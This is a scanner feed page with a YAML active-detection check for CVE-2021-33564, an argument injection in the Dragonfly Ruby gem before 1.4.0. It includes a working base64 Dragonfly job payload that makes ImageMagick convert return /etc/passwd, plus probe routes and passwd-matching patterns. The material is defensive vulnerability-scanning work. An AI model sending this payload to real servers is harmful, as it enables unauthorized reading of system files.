Dragonfly — 1 vulnerability check
noctis ships 1 vulnerability check for Dragonfly, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Dragonfly Ruby Gem < 1.4.0 Argument Injection Arbitrary File Read
| CVE | CVE-2021-33564 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, script, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/dragonfly/CVE-2021-33564.yaml |
An argument injection vulnerability in the Dragonfly gem for Ruby before 1.4.0 allows remote attackers to read and write arbitrary files via a crafted URL when the verify_url option is disabled, because the generate and process features mishandle use of the ImageMagick convert utility. This may lead to code execution. The check requests a Dragonfly job URL whose generate step makes convert read /etc/passwd as a raw image. When passwd content comes back, the same route gets a job reading an absent file in a random missing directory, and the vulnerability is reported only when that control answers without passwd content, so a server that returns the same file for every path is not reported.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET / - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{disc.prefix}}W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{disc.prefix}}{{ctrl_job}} - Parses / computes the next value with a Rhai script
- Checks
dv.linefor^(root|admin|nobody):→ finding QoD 75: Dragonfly Ruby Gem < 1.4.0 Argument Injection Arbitrary File Read (CVE-2021-33564) - HTTP(S) request
GET {{dfly_route}}W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3d… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dfly_route}}{{ctrl_job}} - Parses / computes the next value with a Rhai script
- Checks
rv.linefor^(root|admin|nobody):→ finding QoD 75: Dragonfly Ruby Gem < 1.4.0 Argument Injection Arbitrary File Read (CVE-2021-33564)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2021-33564
- https://github.com/markevans/dragonfly/compare/v1.3.0...v1.4.0
- https://zxsecurity.co.nz/research/argunment_injection_ruby_dragonfly/
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-33564.yaml
Feed source — tests/vulnerabilities/dragonfly/CVE-2021-33564.yaml
# CVE-2021-33564 — Dragonfly Ruby gem < 1.4.0 argument injection (arbitrary file read).
# Active detection ported from OpenVAS/Greenbone NASL
# 2021/dragonfly/gb_dragonfly_gem_arg_inj_vuln_apr21.nasl (GPL-2.0-only), with the
# Nuclei template http/cves/2021/CVE-2021-33564.yaml for the fallback routes.
#
# Dragonfly serves on-the-fly processed images from URLs whose path segment is
# a base64-encoded JSON job (`[["f", "<file>"], ["p", "thumb", ...]]` → always
# starts with `W1si`). Before 1.4.0, with `verify_url` disabled, the "generate"
# step passes attacker-controlled arguments to ImageMagick `convert`. The job
# [["g", "convert", "-size 1x1 -depth 8 gray:/etc/passwd", "out"]]
# makes convert read /etc/passwd as raw gray pixels and stream it back, so the
# response body carries the file — a read-only, benign proof of exploitation
# (nothing is written on the target).
#
# Beyond the NASL:
# * The NASL only recognises job links under `/system…/images/` on the home
# page and `exit(0)`s on the first directory without one. This feed takes
# the prefix of ANY Dragonfly job link (`…/W1si`) on the home page, so the
# default Rails route `/media/` and custom `url_format`s are found too.
# * When the home page shows no job link, the NASL gives up; this feed still
# tries the well-known routes `/system/images/`, `/system/refinery/images/`
# (Refinery CMS, Nuclei) and `/media/` (the Dragonfly Rails generator default).
# * The finding requires HTTP 200 AND the NASL's passwd-line regex, and the
# evidence carries only `user:*:uid:gid` of the first passwd line (no hash).
# * Absent-file control (#2383): after a hit, the same route gets a job that
# reads gray:/noctis-absent-<random>/etc/passwd; the finding is raised only
# when that control answers without passwd content (fail closed), so a
# server that returns passwd for every path is not reported.
uid: 5273e976-615e-44b6-9e23-dcc72c6d5f80
name: "Dragonfly Ruby Gem < 1.4.0 Argument Injection Arbitrary File Read (CVE-2021-33564)"
description: |
An argument injection vulnerability in the Dragonfly gem for Ruby before 1.4.0
allows remote attackers to read and write arbitrary files via a crafted URL when
the verify_url option is disabled, because the generate and process features
mishandle use of the ImageMagick convert utility. This may lead to code execution.
The check requests a Dragonfly job URL whose generate step makes convert read
/etc/passwd as a raw image. When passwd content comes back, the same route gets
a job reading an absent file in a random missing directory, and the
vulnerability is reported only when that control answers without passwd
content, so a server that returns the same file for every path is not reported.
cves: [CVE-2021-33564]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: file-read
tags:
- dragonfly
- ruby
- rails
- refinery-cms
- imagemagick
- argument-injection
- file-read
services:
- http
- https
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2021-33564"
- "https://github.com/markevans/dragonfly/compare/v1.3.0...v1.4.0"
- "https://zxsecurity.co.nz/research/argunment_injection_ruby_dragonfly/"
- "OpenVAS/Greenbone NASL 2021/dragonfly/gb_dragonfly_gem_arg_inj_vuln_apr21.nasl (GPL-2.0-only)"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-33564.yaml"
steps:
# ── Pre-initialise stored results: a failed request leaves store_as unset,
# and an undefined variable in a script step aborts the whole test.
- id: init-home-resp
action: set_var
var_name: home_resp
var_value: {status: 0, body: null}
- id: init-disc-resp
action: set_var
var_name: disc_resp
var_value: {status: 0, body: null}
- id: init-disc-ctrl
action: set_var
var_name: disc_ctrl
var_value: {status: 0, body: null}
# Control job: the same generate step for an absent file in a random missing
# directory (still ending in etc/passwd). URL-safe base64, as Dragonfly
# encodes jobs, so the segment never carries a "/".
- id: ctrl-job
action: script
code: |
let job = "[[\"g\", \"convert\", \"-size 1x1 -depth 8 gray:/noctis-absent-" + oob_token + "/etc/passwd\", \"out\"]]";
str_replace(str_replace(base64_encode(job), "+", "-"), "/", "_")
store_as: ctrl_job
# ── 1. Home page: find the prefix of a Dragonfly job link (`<prefix>W1si…`) ─
- id: home
action: http_request
method: GET
port: "{{port}}"
path: "/"
tls_insecure: true
timeout_secs: 10
store_as: home_resp
- id: discover
action: script
code: |
let prefix = "";
if type_of(home_resp.body) == "string" {
let m = eregmatch("(?:[\"'(=]|https?://[^/\"'\\s]+)((?:/[A-Za-z0-9_.~%-]+)*/)W1si", home_resp.body);
if m.len() >= 2 {
prefix = m[1];
}
}
#{ found: prefix != "", prefix: prefix }
store_as: disc
# ── 2. Exploit on the discovered route (the NASL's path) ─────────────────
- id: probe-discovered
action: http_request
method: GET
port: "{{port}}"
path: "{{disc.prefix}}W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ=="
condition: "disc.found"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: disc_resp
- id: verify-discovered
action: script
code: |
let hit = false;
let line = "";
if disc_resp.status == 200 && type_of(disc_resp.body) == "string" {
let m = eregmatch("(root|admin|nobody):[^:\n]*:([0-9]+):(-2|[0-9]+):([^:\n]*:){2}", disc_resp.body);
if m.len() >= 4 {
hit = true;
line = m[1] + ":*:" + m[2] + ":" + m[3];
}
}
#{ hit: hit, line: line }
store_as: dv
- id: control-discovered
action: http_request
method: GET
port: "{{port}}"
path: "{{disc.prefix}}{{ctrl_job}}"
condition: "dv.hit"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: disc_ctrl
# Fail closed: the control must have answered, without passwd content.
- id: control-discovered-verdict
action: script
code: |
dv.hit && disc_ctrl.status != 0 && !(type_of(disc_ctrl.body) == "string" && ereg("(root|admin|nobody):[^:\n]*:([0-9]+):(-2|[0-9]+):", disc_ctrl.body))
store_as: disc_clean
- id: report-discovered
action: match
source: dv.line
pattern: "^(root|admin|nobody):"
condition: "disc_clean == true"
on_match:
finding:
confidence_delta: 0.45
qod: 75
title: "Dragonfly Ruby Gem < 1.4.0 Argument Injection Arbitrary File Read (CVE-2021-33564)"
description: >
The Dragonfly route {{disc.prefix}} (taken from a job link on the home
page) processed a crafted job whose generate step injected
`gray:/etc/passwd` into ImageMagick convert's arguments, and returned the
content of /etc/passwd, while the same job for an absent file did not. Unauthenticated attackers can read (and, with
other convert options, write) arbitrary files on the server.
evidence: "GET {{disc.prefix}}<job [[\"g\",\"convert\",\"-size 1x1 -depth 8 gray:/etc/passwd\",\"out\"]]> → HTTP {{disc_resp.status}}, /etc/passwd returned (first entry {{dv.line}}); the same job for an absent file → HTTP {{disc_ctrl.status}} without passwd content"
stop: true
# ── 3. Fallback: well-known Dragonfly routes (no job link on the home page) ─
# Every step from here runs once per route (loop group); the first finding stops it.
- id: init-route-resp
action: set_var
var_name: route_resp
var_value: {status: 0, body: null}
loop:
over: ["/system/images/", "/system/refinery/images/", "/media/"]
var: dfly_route
- id: init-route-ctrl
action: set_var
var_name: route_ctrl
var_value: {status: 0, body: null}
- id: probe-route
action: http_request
method: GET
port: "{{port}}"
path: "{{dfly_route}}W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ=="
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: route_resp
- id: verify-route
action: script
code: |
let hit = false;
let line = "";
if route_resp.status == 200 && type_of(route_resp.body) == "string" {
let m = eregmatch("(root|admin|nobody):[^:\n]*:([0-9]+):(-2|[0-9]+):([^:\n]*:){2}", route_resp.body);
if m.len() >= 4 {
hit = true;
line = m[1] + ":*:" + m[2] + ":" + m[3];
}
}
#{ hit: hit, line: line }
store_as: rv
- id: control-route
action: http_request
method: GET
port: "{{port}}"
path: "{{dfly_route}}{{ctrl_job}}"
condition: "rv.hit"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: route_ctrl
# Fail closed: the control must have answered, without passwd content.
- id: control-route-verdict
action: script
code: |
rv.hit && route_ctrl.status != 0 && !(type_of(route_ctrl.body) == "string" && ereg("(root|admin|nobody):[^:\n]*:([0-9]+):(-2|[0-9]+):", route_ctrl.body))
store_as: route_clean
- id: report-route
action: match
source: rv.line
pattern: "^(root|admin|nobody):"
condition: "route_clean == true"
on_match:
finding:
confidence_delta: 0.45
qod: 75
title: "Dragonfly Ruby Gem < 1.4.0 Argument Injection Arbitrary File Read (CVE-2021-33564)"
description: >
The Dragonfly route {{dfly_route}} processed a crafted job whose generate
step injected `gray:/etc/passwd` into ImageMagick convert's arguments, and
returned the content of /etc/passwd, while the same job for an absent file did not. Unauthenticated attackers can read
(and, with other convert options, write) arbitrary files on the server.
evidence: "GET {{dfly_route}}<job [[\"g\",\"convert\",\"-size 1x1 -depth 8 gray:/etc/passwd\",\"out\"]]> → HTTP {{route_resp.status}}, /etc/passwd returned (first entry {{rv.line}}); the same job for an absent file → HTTP {{route_ctrl.status}} without passwd content"
stop: true